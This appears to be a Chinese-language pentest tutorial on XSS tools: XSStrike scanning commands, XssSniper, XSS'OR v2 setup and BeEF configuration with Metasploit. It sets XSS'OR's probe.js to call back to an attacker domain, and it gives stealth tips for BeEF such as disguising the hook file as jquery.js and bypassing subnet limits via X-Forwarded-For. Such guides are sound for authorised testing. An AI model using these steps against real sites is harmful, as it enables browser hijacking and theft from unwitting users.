XSStrike
简介
XSStrike 是一款用于探测并利用XSS漏洞的脚本,XSStrike 支持 GET/POST 方式,支持对参数进行模糊测试后构建合适的 payload,内置爬虫功能,支持检测并尝试绕过 WAF
安装
git clone https://github.com/UltimateHackers/XSStrike/
cd XSStrike
pip install -r requirements.txt
配置
使用
XSStrike 基于 Python3
usage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t THREADS] [--seeds SEEDS] [--json] [--path] [--fuzzer] [--update] [--timeout] [--params] [--crawl] [--blind] [--skip-dom] [--headers] [--proxy] [-d DELAY] [-e ENCODING]
optional arguments:
-h, --help 显示帮助信息
-v 显示详细输出
-u, --url 指定目标URL
-f, --file 指定自定义payload字典文件
-t, --threads 指定线程数
-l, --level 指定爬行深度
-t, --encode 指定payload编码方式
--data 指定POST方式提交内容
--json 指定POST内容为JSON格式
--path inject payloads in the path
--seeds 加载URL列表文件
--fuzzer 模糊测试
--update 检查更新
--timeout 指定超时时间
--params 查找隐藏的参数
--crawl 爬虫模式
--proxy 代理模式
--blind XSS盲注
--skip skip confirmation dialogue and poc
--skip-dom 跳过DOM XSS扫描
--headers 指定HTTP表头
-d, --delay 指定请求间隔
GET 方式
python xsstrike.py -u "http://example.com/search.php?q=query"
POST 方式
python xsstrike.py -u "http://example.com/search.php" --data "q=query"
python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"}‘ --json
指定URL文件
python xsstrike.py --seeds urls.txt
爬虫模式
python xsstrike.py -u "http://example.com/page.php" --crawl -l 3 # 指定爬行深度
fuzzer 模式
python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
附录
XssSniper
描述
一直以来,隐式输出的 DomXSS 漏洞难以被传统的扫描工具发现,XssSniper 是依托于 Chrome浏 览器的扩展,通过动态解析可以快速准确的发现DomXSS漏洞。
此外,本扩展不仅可以发现隐式输出的XSS,还可以发现显示输出的DomXSS,反射式XSS,自动寻找JSONP的XSS,以及检测SOME漏洞(同源方法执行)
原理
XssSniper 扩展会在当前页面中创建一个隐形的 iframe,在这个 iframe 中采用不同字符组合截断的payload 去 fuzz 当前页面中的每个 url 参数,以及 location.hash 参数。如果 payload 执行,说明漏洞一定存在。但如果 XSS 比较隐蔽,或者需要非常复杂的字符组合来截断的话,payload 可能无法执行,尽管如此,payload 可能会引发一些 js 语法异常,XssSniper 扩展会检测这些异常,然后提示用户错误位置,错误内容,错误的行数
XSS'OR
描述
XSS'OR V2是一款免费开源的XSS 黑客工具, 是XSS'OR的升级版本
它包含三个主要模块:Encode/Decode,Codz,Probe,即编码/解码,代码,探针功能
安装
git clone https://github.com/evilcos/xssor2
cd xssor2
# 修改 xssor/payload/probe.js
xssor.cmd_url = location.protocol + '//xssor.io/cmd'; // 网址替换成你的域名或IP
pip install -r requirement.txt
python manage.py runserver 0.0.0.0:8000
BeEF
安装
BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。这个框架也属于cs的结构
安装
apt-get install beef-xss
使用
beef-xss
systemctl start beef-xss #开启beef
systemctl stop beef-xss #关闭beef
systemctl restart beef-xss #重启beef
http://127.0.0.1:3000/ui/authentication
配置
基本配置
/usr/share/beef-xss/config.yaml
# 指定某个网段,只有在这个网段的浏览器才能被hook
permitted_hooking_subnet: "0.0.0.0/0"
# 指定某个网段,只有在这个网段的浏览器才能访问管理UI
permitted_ui_subnet: "0.0.0.0/0"
# 上面这两项都是可以被绕过的,只要使用 X-Forwarded-For 首部绕过
# 设置beef服务器的主机/域名
host: "0.0.0.0"
# 设置beef服务器监听的端口 (>1024)
port: "3000"
# 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低
xhr_poll_timeout: 1000
# 管理页面的URI, 默认为/ui, 建议修改,这样就不会让别人找到你的管理页面
web_ui_basepath: "/ui"
# hook_file 的名称, 建议修改,可以修改为jquery.js之类的来提升隐蔽性
hook_file: "/hook.js"
# 管理页面登录的用户名和密码, 建议修改
credentials:
user: "beef"
passwd: "beef"
联动配置
/usr/share/beef-xss/config.yaml
extension:
metasploit:
enable: true
/usr/share/beef-xss/extensions/metasploit/config/yaml
打开 msfconsole
$ msfconsole
$ load msgrpc ServerHost=127.0.0.1 Pass=abc123
重启 beef
beef-xss